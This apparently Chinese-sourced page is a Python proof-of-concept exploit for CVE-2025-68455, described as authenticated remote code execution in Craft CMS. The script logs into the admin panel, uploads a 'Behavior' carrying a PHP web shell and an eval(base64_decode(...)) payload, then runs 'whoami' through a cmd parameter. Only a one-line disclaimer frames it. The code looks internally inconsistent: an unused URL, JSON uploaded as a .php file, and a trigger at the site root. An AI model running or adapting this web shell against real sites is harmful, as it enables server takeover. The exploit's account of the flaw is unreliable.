CVE-2025-68455: Craft CMS 认证后远程代码执行漏洞

import requests import json # CVE-2025-68455 PoC - Craft CMS Authenticated RCE via Malicious Behavior # Target: Craft CMS versions 5.0.0-RC1 to 5.8.20 and 4.0.0-RC1 to 4.16.16 TARGET_URL = "https://target-craft-cms.com" USERNAME = "admin" PASSWORD = "admin_password" def exploit_craft_rce(): """ Exploitation steps: 1. Authenticate to Craft CMS Control Panel with admin credentials 2. Navigate to Settings > Behaviors section 3. Upload or create a malicious Behavior with PHP code execution payload 4. Trigger the Behavior to execute arbitrary code """ session = requests.Session() # Step 1: Login to Craft CMS login_url = f"{TARGET_URL}/admin/login" login_data = { "loginName": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully authenticated") # Step 2: Access Behaviors settings behaviors_url = f"{TARGET_URL}/admin/settings/behaviors" # Step 3: Create malicious Behavior with RCE payload # The payload exploits unsafe deserialization in Behavior handling malicious_behavior = { "class": "Craft\\behaviors\\CustomBehavior", "code": "<?php system($_GET['cmd']); ?>", "config": { "__class": "Craft\\behaviors\\CustomBehavior", "customMethod": "eval(base64_decode($_POST['payload']));" } } # Step 4: Upload the malicious Behavior upload_url = f"{TARGET_URL}/admin/settings/behaviors/save" files = { "behavior": ("malicious-behavior.php", json.dumps(malicious_behavior), "application/json") } response = session.post(upload_url, files=files) # Step 5: Trigger the RCE trigger_url = f"{TARGET_URL}/?cmd=whoami" response = session.get(trigger_url) if "www-data" in response.text or "root" in response.text: print("[+] RCE Successful! Command executed.") return True print("[-] Exploitation failed") return False # Note: This PoC is for educational and authorized testing purposes only. # Ensure you have explicit permission before testing any system. if __name__ == "__main__": exploit_craft_rce()